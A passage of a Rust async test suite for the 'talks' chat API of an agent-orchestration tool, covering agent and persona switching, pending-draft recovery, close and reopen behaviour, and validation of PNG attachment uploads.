9224 assert_eq!(
9225 body["turns"].as_array().unwrap().len(),
9226 0,
9227 "opening takes no agent turn: there is nothing yet to answer"
9228 );
9229
9230 let also_opened = f.post("/api/talks", Some("{}")).await;
9232 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
9233
9234 let listed = f.get("/api/talks").await.json();
9235 assert_eq!(listed.as_array().unwrap().len(), 2);
9236 }
9237
9238 #[tokio::test]
9239 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
9240 let tmp = TempDir::new().expect("tempdir");
9241 let repo = tmp.path().join("repo");
9242 std::fs::create_dir_all(&repo).expect("repo dir");
9243 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
9244 std::fs::write(
9245 repo.join("magi.toml"),
9246 format!("{MOCK_AGENT_TOML}\n{second}"),
9247 )
9248 .expect("write magi.toml");
9249 let home = TempDir::new().expect("temp home");
9250 let talks = Talks::at(home.path().join("talks"));
9251 let ui = Arc::new(
9252 Ui::new(
9253 Queue::at(home.path().join("queue")),
9254 Questions::at(home.path().join("questions")),
9255 talks.clone(),
9256 home.path().join("runs"),
9257 home.path().to_path_buf(),
9258 repo.clone(),
9259 )
9260 .with_worktrees_root(home.path().join("wt")),
9261 );
9262 let cfg = config_for(&repo).await.expect("discover config");
9263 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9264 let id = talk.id.clone();
9265 let call = |agent: &str| {
9266 talk_agent(
9267 State(Arc::clone(&ui)),
9268 Path(id.clone()),
9269 Json(TalkAgent {
9270 agent: agent.to_owned(),
9271 }),
9272 )
9273 };
9274
9275 let unknown = call("nobody").await.expect_err("unknown agent");
9276 assert_eq!(
9277 unknown.status,
9278 StatusCode::BAD_REQUEST,
9279 "{}",
9280 unknown.message
9281 );
9282
9283 {
9284 let mut claimed = None;
9287 for _ in 0..200 {
9288 claimed = ui.begin_talk_turn(&id).expect("claim");
9289 if claimed.is_some() {
9290 break;
9291 }
9292 tokio::time::sleep(Duration::from_millis(10)).await;
9293 }
9294 let _busy = claimed.expect("free");
9295 let busy = call("second").await.expect_err("busy talk");
9296 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9297 }
9298 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
9299
9300 let Json(view) = call("second").await.expect("switch");
9301 assert_eq!(view.talk.agent, "second");
9302 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
9303 let saved = talks.get(&id).expect("reload");
9304 assert_eq!(saved.agent, "second");
9305 assert_eq!(saved.turns.len(), 1);
9306
9307 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9308 .await
9309 .expect("detail");
9310 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
9311 assert_eq!(roster, ["mock", "second"]);
9312
9313 let mut closed = talks.get(&id).expect("reload");
9314 talk::close(&mut closed, &talks).expect("close");
9315 let refused = call("mock").await.expect_err("closed talk");
9316 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9317 }
9318
9319 #[tokio::test]
9320 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
9321 let tmp = TempDir::new().expect("tempdir");
9322 let repo = tmp.path().join("repo");
9323 std::fs::create_dir_all(&repo).expect("repo dir");
9324 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9325 let home = TempDir::new().expect("temp home");
9326 let talks = Talks::at(home.path().join("talks"));
9327 let ui = Arc::new(
9328 Ui::new(
9329 Queue::at(home.path().join("queue")),
9330 Questions::at(home.path().join("questions")),
9331 talks.clone(),
9332 home.path().join("runs"),
9333 home.path().to_path_buf(),
9334 repo.clone(),
9335 )
9336 .with_worktrees_root(home.path().join("wt")),
9337 );
9338 let cfg = config_for(&repo).await.expect("discover config");
9339 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9340 let id = talk.id.clone();
9341 let call = |n: u8| {
9342 talk_implementers(
9343 State(Arc::clone(&ui)),
9344 Path(id.clone()),
9345 Json(TalkImplementers { implementers: n }),
9346 )
9347 };
9348
9349 for bad in [0u8, 4] {
9350 let e = call(bad).await.expect_err("out of range");
9351 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
9352 }
9353 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
9354
9355 {
9356 let mut claimed = None;
9357 for _ in 0..200 {
9358 claimed = ui.begin_talk_turn(&id).expect("claim");
9359 if claimed.is_some() {
9360 break;
9361 }
9362 tokio::time::sleep(Duration::from_millis(10)).await;
9363 }
9364 let _busy = claimed.expect("free");
9365 let busy = call(2).await.expect_err("busy talk");
9366 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9367 }
9368
9369 let Json(view) = call(3).await.expect("switch");
9370 assert_eq!(view.talk.implementers, 3);
9371 assert!(talks.get(&id).expect("reload").implementers_dirty);
9372
9373 let mut closed = talks.get(&id).expect("reload");
9374 talk::close(&mut closed, &talks).expect("close");
9375 let e = call(2).await.expect_err("closed talk");
9376 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
9377 }
9378
9379 #[tokio::test]
9380 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
9381 let tmp = TempDir::new().expect("tempdir");
9382 let repo = tmp.path().join("repo");
9383 std::fs::create_dir_all(&repo).expect("repo dir");
9384 std::fs::write(
9385 repo.join("magi.toml"),
9386 format!(
9387 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
9388 ),
9389 )
9390 .expect("write magi.toml");
9391 let home = TempDir::new().expect("temp home");
9392 let talks = Talks::at(home.path().join("talks"));
9393 let ui = Arc::new(
9394 Ui::new(
9395 Queue::at(home.path().join("queue")),
9396 Questions::at(home.path().join("questions")),
9397 talks.clone(),
9398 home.path().join("runs"),
9399 home.path().to_path_buf(),
9400 repo.clone(),
9401 )
9402 .with_worktrees_root(home.path().join("wt")),
9403 );
9404 let cfg = config_for(&repo).await.expect("discover config");
9405 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
9406 let id = talk.id.clone();
9407 let call = |persona: &str| {
9408 talk_persona(
9409 State(Arc::clone(&ui)),
9410 Path(id.clone()),
9411 Json(TalkPersona {
9412 persona: persona.to_owned(),
9413 }),
9414 )
9415 };
9416
9417 let unknown = call("nobody").await.expect_err("unknown persona");
9418 assert_eq!(
9419 unknown.status,
9420 StatusCode::BAD_REQUEST,
9421 "{}",
9422 unknown.message
9423 );
9424
9425 {
9426 let mut claimed = None;
9427 for _ in 0..200 {
9428 claimed = ui.begin_talk_turn(&id).expect("claim");
9429 if claimed.is_some() {
9430 break;
9431 }
9432 tokio::time::sleep(Duration::from_millis(10)).await;
9433 }
9434 let _busy = claimed.expect("free");
9435 let busy = call("rei").await.expect_err("busy talk");
9436 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
9437 }
9438 assert_eq!(talks.get(&id).expect("reload").persona, "");
9439
9440 let Json(view) = call("gendo").await.expect("switch to a configured persona");
9441 assert_eq!(view.talk.persona, "gendo");
9442 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
9443
9444 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
9445 .await
9446 .expect("detail");
9447 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
9448 assert_eq!(ids.first(), Some(&"default"));
9449 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
9450
9451 let Json(view) = call("default").await.expect("back to default");
9452 assert_eq!(view.talk.persona, "");
9453
9454 let mut closed = talks.get(&id).expect("reload");
9455 talk::close(&mut closed, &talks).expect("close");
9456 let refused = call("rei").await.expect_err("closed talk");
9457 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
9458 }
9459
9460 #[tokio::test]
9461 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
9462 let f = Fixture::start().await;
9463 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
9464 let queue = f.queue();
9465 let mut mine = Task::new(
9466 "rename the loader".to_owned(),
9467 "rename the loader".to_owned(),
9468 PathBuf::from("/repo/magi"),
9469 Source::Agent {
9470 run: talk_id.clone(),
9471 node: "chat".to_owned(),
9472 },
9473 );
9474 queue.put(&mut mine).expect("file the task");
9475 let mut theirs = Task::new(
9476 "unrelated".to_owned(),
9477 "unrelated".to_owned(),
9478 PathBuf::from("/repo/magi"),
9479 Source::Human,
9480 );
9481 queue.put(&mut theirs).expect("file the task");
9482
9483 let res = f.get(&format!("/api/talks/{talk_id}")).await;
9484 assert_eq!(res.status, 200, "{}", res.body);
9485 let body = res.json();
9486 assert_eq!(
9487 body["status"], "open",
9488 "filing a task does not close a talk"
9489 );
9490 let tasks = body["tasks"].as_array().expect("tasks array");
9491 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
9492 assert_eq!(tasks[0]["id"], mine.id);
9493 }
9494
9495 #[tokio::test]
9496 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
9497 let (_tmp, _repo, f) = talk_fixture().await;
9498 let id = f.post("/api/talks", None).await.json()["id"]
9499 .as_str()
9500 .expect("id")
9501 .to_owned();
9502
9503 let res = f
9504 .post(
9505 &format!("/api/talks/{id}/say"),
9506 Some(r#"{"text":"what does the queue module do?"}"#),
9507 )
9508 .await;
9509 assert_eq!(res.status, 202, "{}", res.body);
9510 let queued = res.json();
9511 let turns = queued["turns"].as_array().expect("turns array");
9512 assert_eq!(
9513 turns.len(),
9514 1,
9515 "the answer reflects only what is on disk the instant it is sent, \
9516 before the agent's turn - which can run for the whole of \
9517 `[graph] timeout_talk` - has a chance to land: {queued}"
9518 );
9519 assert_eq!(turns[0]["who"], "operator");
9520 assert_eq!(turns[0]["body"], "what does the queue module do?");
9521 assert_eq!(
9522 queued["thinking"], true,
9523 "the accepted response exposes the background turn claim: {queued}"
9524 );
9525
9526 let mut turns_after = 1;
9527 for _ in 0..SETTLE_STEPS {
9528 let detail = f.get(&format!("/api/talks/{id}")).await.json();
9529 turns_after = detail["turns"].as_array().expect("turns array").len();
9530 if turns_after == 2 {
9531 break;
9532 }
9533 tokio::time::sleep(Duration::from_millis(10)).await;
9534 }
9535 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
9536 }
9537
9538 #[tokio::test]
9565 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9566 let tmp = TempDir::new().expect("tempdir");
9567 let repo = tmp.path().join("repo");
9568 std::fs::create_dir_all(&repo).expect("repo dir");
9569 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9570 let home = TempDir::new().expect("temp home");
9571 let talks = Talks::at(home.path().join("talks"));
9572 let ui = Arc::new(
9573 Ui::new(
9574 Queue::at(home.path().join("queue")),
9575 Questions::at(home.path().join("questions")),
9576 talks.clone(),
9577 home.path().join("runs"),
9578 home.path().to_path_buf(),
9579 repo.clone(),
9580 )
9581 .with_worktrees_root(home.path().join("wt")),
9582 );
9583 let cfg = config_for(&repo).await.expect("discover config");
9584
9585 for delay in 0..40u32 {
9586 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9587 let id = talk.id.clone();
9588
9589 let handler = tokio::spawn(talk_say(
9590 State(Arc::clone(&ui)),
9591 Path(id.clone()),
9592 Ok(Json(NewTalkTurn {
9593 text: "what does the queue module do?".to_owned(),
9594 attachments: Vec::new(),
9595 })),
9596 ));
9597 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9598 handler.abort();
9599 let _ = handler.await;
9602
9603 let mut turns = 0;
9604 for _ in 0..SETTLE_STEPS {
9605 if let Ok(fresh) = talks.get(&id) {
9606 turns = fresh.turns.len();
9607 if turns != 1 {
9608 break;
9609 }
9610 }
9611 tokio::time::sleep(Duration::from_millis(10)).await;
9612 }
9613 assert_ne!(
9614 turns, 1,
9615 "delay {delay}: talk {id} recorded the operator's turn but \
9616 the agent never answered - the reply task was never \
9617 started after the handler future was dropped"
9618 );
9619 }
9620 }
9621
9622 #[tokio::test]
9667 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9668 let tmp = TempDir::new().expect("tempdir");
9669 let repo = tmp.path().join("repo");
9670 std::fs::create_dir_all(&repo).expect("repo dir");
9671 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9672 let home = TempDir::new().expect("temp home");
9673 let talks = Talks::at(home.path().join("talks"));
9674 let ui = Arc::new(
9675 Ui::new(
9676 Queue::at(home.path().join("queue")),
9677 Questions::at(home.path().join("questions")),
9678 talks.clone(),
9679 home.path().join("runs"),
9680 home.path().to_path_buf(),
9681 repo.clone(),
9682 )
9683 .with_worktrees_root(home.path().join("wt")),
9684 );
9685 let cfg = config_for(&repo).await.expect("discover config");
9686
9687 for attempt in 0..3u32 {
9688 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9689 let id = talk.id.clone();
9690 let turn_guard = ui
9693 .begin_talk_turn(&id)
9694 .expect("claim the turn")
9695 .expect("a fresh talk owes nobody a turn");
9696
9697 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9698 let (release_tx, release_rx) = std::sync::mpsc::channel();
9699 ui.set_busy_queue_gate(BusyQueueGate {
9700 reached: reached_tx,
9701 release: release_rx,
9702 });
9703
9704 let handler = tokio::spawn(talk_say(
9705 State(Arc::clone(&ui)),
9706 Path(id.clone()),
9707 Ok(Json(NewTalkTurn {
9708 text: "what does the queue module do?".to_owned(),
9709 attachments: Vec::new(),
9710 })),
9711 ));
9712
9713 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9718 .await
9719 .unwrap_or_else(|_| {
9720 panic!(
9721 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9722 )
9723 })
9724 .expect("the busy branch dropped the gate without using it");
9725
9726 let running = talks.get(&id).expect("reload talk");
9733 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9734
9735 handler.abort();
9739 let _ = handler.await;
9740
9741 let _ = release_tx.send(());
9747
9748 let mut fresh = talks.get(&id).expect("reload talk");
9751 for _ in 0..SETTLE_STEPS {
9752 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9753 break;
9754 }
9755 tokio::time::sleep(Duration::from_millis(10)).await;
9756 fresh = talks.get(&id).expect("reload talk");
9757 }
9758 assert!(
9759 fresh.pending.is_empty() && fresh.turns.len() == 2,
9760 "attempt {attempt}: talk {id} left the operator's text queued \
9761 with no drainer - the reclaimed turn was dropped along with \
9762 the handler future (pending {:?}, {} turns)",
9763 fresh.pending,
9764 fresh.turns.len()
9765 );
9766 }
9767 }
9768
9769 #[tokio::test]
9770 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
9771 let (_tmp, _repo, f) = talk_fixture().await;
9772 let id = f.post("/api/talks", None).await.json()["id"]
9773 .as_str()
9774 .expect("id")
9775 .to_owned();
9776 let store = f.talks();
9777 let mut recovered = store.get(&id).expect("opened talk");
9778 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9779 .expect("persist pending draft without a live turn");
9780
9781 let edited = f
9782 .post(
9783 &format!("/api/talks/{id}/pending/edit"),
9784 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
9785 )
9786 .await;
9787 assert_eq!(edited.status, 200, "{}", edited.body);
9788 assert!(edited.json()["thinking"].as_bool().unwrap());
9789
9790 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
9791 for _ in 0..SETTLE_STEPS {
9792 if detail["turns"].as_array().expect("turns").len() == 2 {
9793 break;
9794 }
9795 tokio::time::sleep(Duration::from_millis(10)).await;
9796 detail = f.get(&format!("/api/talks/{id}")).await.json();
9797 }
9798 let turns = detail["turns"].as_array().expect("turns");
9799 assert_eq!(
9800 turns.len(),
9801 2,
9802 "the recovered draft must run once: {detail}"
9803 );
9804 assert_eq!(turns[0]["body"], "corrected");
9805 assert_eq!(detail["pending"], "");
9806 }
9807
9808 #[tokio::test]
9809 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9810 let tmp = TempDir::new().expect("tempdir");
9811 let repo = tmp.path().join("repo");
9812 std::fs::create_dir_all(&repo).expect("repo dir");
9813 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9814 let f = Fixture::with_repo(repo).await;
9815 let id = f.post("/api/talks", None).await.json()["id"]
9816 .as_str()
9817 .expect("id")
9818 .to_owned();
9819 let store = f.talks();
9820 let mut recovered = store.get(&id).expect("opened talk");
9821 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9822 .expect("persist pending draft without a live turn");
9823
9824 let refused = f
9825 .post(
9826 &format!("/api/talks/{id}/say"),
9827 Some(r#"{"text":"new message"}"#),
9828 )
9829 .await;
9830 assert_eq!(refused.status, 409, "{}", refused.body);
9831 assert!(refused.body.contains("resume"), "{}", refused.body);
9832 let saved = store.get(&id).expect("draft remains after refusal");
9833 assert!(saved.turns.is_empty());
9834 assert_eq!(saved.pending, "saved before restart");
9835
9836 let say_path = format!("/api/talks/{id}/say");
9837 let (first, second) = tokio::join!(
9838 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9839 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9840 );
9841 assert_eq!(first.status, 409, "{}", first.body);
9842 assert_eq!(second.status, 409, "{}", second.body);
9843 let saved = store
9844 .get(&id)
9845 .expect("draft remains after concurrent refusals");
9846 assert!(saved.turns.is_empty());
9847 assert_eq!(saved.pending, "saved before restart");
9848
9849 let resumed = f
9850 .post(&format!("/api/talks/{id}/pending/resume"), None)
9851 .await;
9852 assert_eq!(resumed.status, 202, "{}", resumed.body);
9853 let duplicate = f
9854 .post(&format!("/api/talks/{id}/pending/resume"), None)
9855 .await;
9856 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9857
9858 for _ in 0..SETTLE_STEPS {
9859 if store.get(&id).expect("talk").turns.len() == 2 {
9860 break;
9861 }
9862 tokio::time::sleep(Duration::from_millis(10)).await;
9863 }
9864 let finished = store.get(&id).expect("finished talk");
9865 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9866 assert_eq!(finished.turns[0].body, "saved before restart");
9867 assert!(finished.pending.is_empty());
9868 }
9869
9870 #[tokio::test]
9871 async fn an_image_only_recovered_draft_resumes_without_text() {
9872 let (_tmp, _repo, f) = talk_fixture().await;
9873 let id = f.post("/api/talks", None).await.json()["id"]
9874 .as_str()
9875 .expect("id")
9876 .to_owned();
9877 let uploaded = f
9878 .post_bytes(
9879 &format!("/api/talks/{id}/attachments"),
9880 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9881 PNG_BYTES,
9882 )
9883 .await;
9884 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9885 let attachment = f
9886 .talks()
9887 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9888 .expect("attachment metadata")
9889 .expect("stored attachment");
9890 let store = f.talks();
9891 let mut recovered = store.get(&id).expect("opened talk");
9892 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9893
9894 let resumed = f
9895 .post(&format!("/api/talks/{id}/pending/resume"), None)
9896 .await;
9897 assert_eq!(resumed.status, 202, "{}", resumed.body);
9898 for _ in 0..SETTLE_STEPS {
9899 if store.get(&id).expect("talk").turns.len() == 2 {
9900 break;
9901 }
9902 tokio::time::sleep(Duration::from_millis(10)).await;
9903 }
9904 let finished = store.get(&id).expect("finished talk");
9905 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9906 assert!(finished.turns[0].body.is_empty());
9907 assert_eq!(finished.turns[0].attachments.len(), 1);
9908 assert!(finished.pending_attachments.is_empty());
9909 }
9910
9911 #[tokio::test]
9912 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9913 let (_tmp, _repo, f) = talk_fixture().await;
9914 let id = f.post("/api/talks", None).await.json()["id"]
9915 .as_str()
9916 .expect("id")
9917 .to_owned();
9918 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9919 assert_eq!(closed.status, 200, "{}", closed.body);
9920 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9921 .expect("serialize closed talk");
9922 for (path, body) in [
9923 (format!("/api/talks/{id}/pending/resume"), None),
9924 (
9925 format!("/api/talks/{id}/pending/clear"),
9926 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9927 ),
9928 (
9929 format!("/api/talks/{id}/pending/edit"),
9930 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9931 ),
9932 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9933 ] {
9934 let response = f.post(&path, body).await;
9935 assert_eq!(response.status, 409, "{}", response.body);
9936 }
9937 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9938 .expect("serialize closed talk");
9939 assert_eq!(
9940 after_clear, before_clear,
9941 "clear must not rewrite a closed talk"
9942 );
9943 }
9944
9945 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9948
9949 #[tokio::test]
9950 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9951 let tmp = TempDir::new().expect("tempdir");
9952 let repo = tmp.path().join("repo");
9953 std::fs::create_dir_all(&repo).expect("repo dir");
9954 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9955 let f = Fixture::with_repo(repo).await;
9956 let id_a = f.post("/api/talks", None).await.json()["id"]
9957 .as_str()
9958 .unwrap()
9959 .to_owned();
9960 let id_b = f.post("/api/talks", None).await.json()["id"]
9961 .as_str()
9962 .unwrap()
9963 .to_owned();
9964
9965 let a = f
9966 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9967 .await;
9968 assert_eq!(a.status, 202, "{}", a.body);
9969 assert_eq!(a.json()["thinking"], true);
9970 let b = f
9971 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9972 .await;
9973 assert_eq!(b.status, 202, "{}", b.body);
9974 assert_eq!(b.json()["thinking"], true);
9975
9976 let listed = f.get("/api/talks").await.json();
9977 for id in [&id_a, &id_b] {
9978 let view = listed
9979 .as_array()
9980 .unwrap()
9981 .iter()
9982 .find(|talk| talk["id"] == *id)
9983 .unwrap();
9984 assert_eq!(view["thinking"], true, "{listed}");
9985 }
9986 let repeated = f
9987 .post(
9988 &format!("/api/talks/{id_a}/say"),
9989 Some(r#"{"text":"again"}"#),
9990 )
9991 .await;
9992 assert_eq!(repeated.status, 202, "{}", repeated.body);
9993 assert_eq!(repeated.json()["pending"], "again");
9994 }
9995
9996 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9999
10000 #[tokio::test]
10001 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
10002 let f = Fixture::start().await;
10003 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
10004
10005 let res = f
10006 .post_bytes(
10007 &format!("/api/talks/{id}/attachments"),
10008 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10009 PNG_BYTES,
10010 )
10011 .await;
10012 assert_eq!(res.status, 201, "{}", res.body);
10013 let body = res.json();
10014 assert_eq!(body["name"], "shot.png");
10015 assert_eq!(body["mime"], "image/png");
10016 assert_eq!(body["bytes"], PNG_BYTES.len());
10017 let att_id = body["id"].as_str().expect("id").to_owned();
10018 assert_eq!(
10019 att_id.len(),
10020 32,
10021 "the id must never be a client-suppliable path: {att_id}"
10022 );
10023
10024 let got = f
10025 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
10026 .await;
10027 assert_eq!(got.status, 200, "{}", got.body);
10028 assert_eq!(got.header("content-type"), Some("image/png"));
10029 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
10030 assert_eq!(got.bytes, PNG_BYTES);
10031 }
10032
10033 #[tokio::test]
10034 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
10035 let f = Fixture::start().await;
10036 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
10037
10038 let svg = f
10041 .post_bytes(
10042 &format!("/api/talks/{id}/attachments"),
10043 &[("Content-Type", "image/svg+xml")],
10044 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10045 )
10046 .await;
10047 assert!(
10048 (400..500).contains(&svg.status),
10049 "svg must be refused: {} {}",
10050 svg.status,
10051 svg.body
10052 );
10053 assert!(svg.body.contains("SVG"), "{}", svg.body);
10054
10055 let text = f
10056 .post_bytes(
10057 &format!("/api/talks/{id}/attachments"),
10058 &[("Content-Type", "text/plain")],
10059 b"just some text",
10060 )
10061 .await;
10062 assert!(
10063 (400..500).contains(&text.status),
10064 "an unlisted type must be refused: {} {}",
10065 text.status,
10066 text.body
10067 );
10068
10069 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10072 let big = f
10073 .post_bytes(
10074 &format!("/api/talks/{id}/attachments"),
10075 &[("Content-Type", "image/png")],
10076 &oversized,
10077 )
10078 .await;
10079 assert_eq!(
10080 big.status,
10081 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10082 "{}",
10083 big.body
10084 );
10085 }
10086
10087 #[tokio::test]
10088 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10089 let f = Fixture::start().await;
10090 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10091
10092 let res = f
10095 .post_bytes(
10096 &format!("/api/talks/{id}/attachments"),
10097 &[("Content-Type", "image/png")],
10098 b"<html>not a picture</html>",
10099 )
10100 .await;
10101 assert!((400..500).contains(&res.status), "{}", res.body);
10102 }
10103
10104 #[tokio::test]
10105 async fn an_unknown_attachment_id_is_a_404() {
10106 let f = Fixture::start().await;
10107 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10108
10109 let res = f
10110 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10111 .await;
10112 assert_eq!(res.status, 404, "{}", res.body);
10113 }
10114
10115 #[tokio::test]
10116 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10117 let f = Fixture::start().await;
10118 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10119
10120 let uploaded = f
10121 .post_bytes(
10122 &format!("/api/talks/{id}/attachments"),
10123 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10124 PNG_BYTES,
10125 )
10126 .await;
10127 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10128 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10129
10130 let res = f
10131 .post(
10132 &format!("/api/talks/{id}/say"),
10133 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10134 )
10135 .await;
10136 assert_eq!(res.status, 202, "{}", res.body);
10137 let queued = res.json();
10138 let turns = queued["turns"].as_array().expect("turns array");
10139 assert_eq!(
10140 turns.len(),
10141 1,
10142 "an empty body with an attachment is still a turn: {queued}"
10143 );
10144 assert_eq!(turns[0]["who"], "operator");
10145 assert_eq!(turns[0]["body"], "");
10146 let atts = turns[0]["attachments"]
10147 .as_array()
10148 .expect("attachments array");
10149 assert_eq!(atts.len(), 1);
10150 assert_eq!(atts[0]["id"], att_id);
10151 assert_eq!(atts[0]["mime"], "image/png");
10152
10153 let on_disk = f.talks().get(&id).expect("get");
10156 assert_eq!(on_disk.turns[0].attachments.len(), 1);
10157 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10158 }
10159
10160 #[tokio::test]
10161 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10162 let f = Fixture::start().await;
10163 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10164
10165 let res = f
10166 .post(
10167 &format!("/api/talks/{id}/say"),
10168 Some(&format!(
10169 r#"{{"text":"hi","attachments":["{}"]}}"#,
10170 "a".repeat(32)
10171 )),
10172 )
10173 .await;
10174 assert!((400..500).contains(&res.status), "{}", res.body);
10175 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10176
10177 let on_disk = f.talks().get(&id).expect("get");
10178 assert!(
10179 on_disk.turns.is_empty(),
10180 "a rejected attachment id must not partially record the turn: {:?}",
10181 on_disk.turns
10182 );
10183 }
10184
10185 #[tokio::test]
10186 async fn talk_close_makes_the_talk_refuse_further_turns() {
10187 let f = Fixture::start().await;
10188 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10189
10190 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10191 assert_eq!(closed.status, 200, "{}", closed.body);
10192 assert_eq!(closed.json()["status"], "closed");
10193
10194 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10196 assert_eq!(closed_again.status, 200);
10197 assert_eq!(closed_again.json()["status"], "closed");
10198
10199 let said = f
10200 .post(
10201 &format!("/api/talks/{id}/say"),
10202 Some(r#"{"text":"too late"}"#),
10203 )
10204 .await;
10205 assert_eq!(said.status, 409, "{}", said.body);
10206 }
10207
10208 #[tokio::test]
10209 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10210 let (_tmp, _repo, f) = talk_fixture().await;
10211 let id = f.post("/api/talks", None).await.json()["id"]
10212 .as_str()
10213 .expect("id")
10214 .to_owned();
10215 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10216 assert_eq!(closed.status, 200, "{}", closed.body);
10217
10218 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
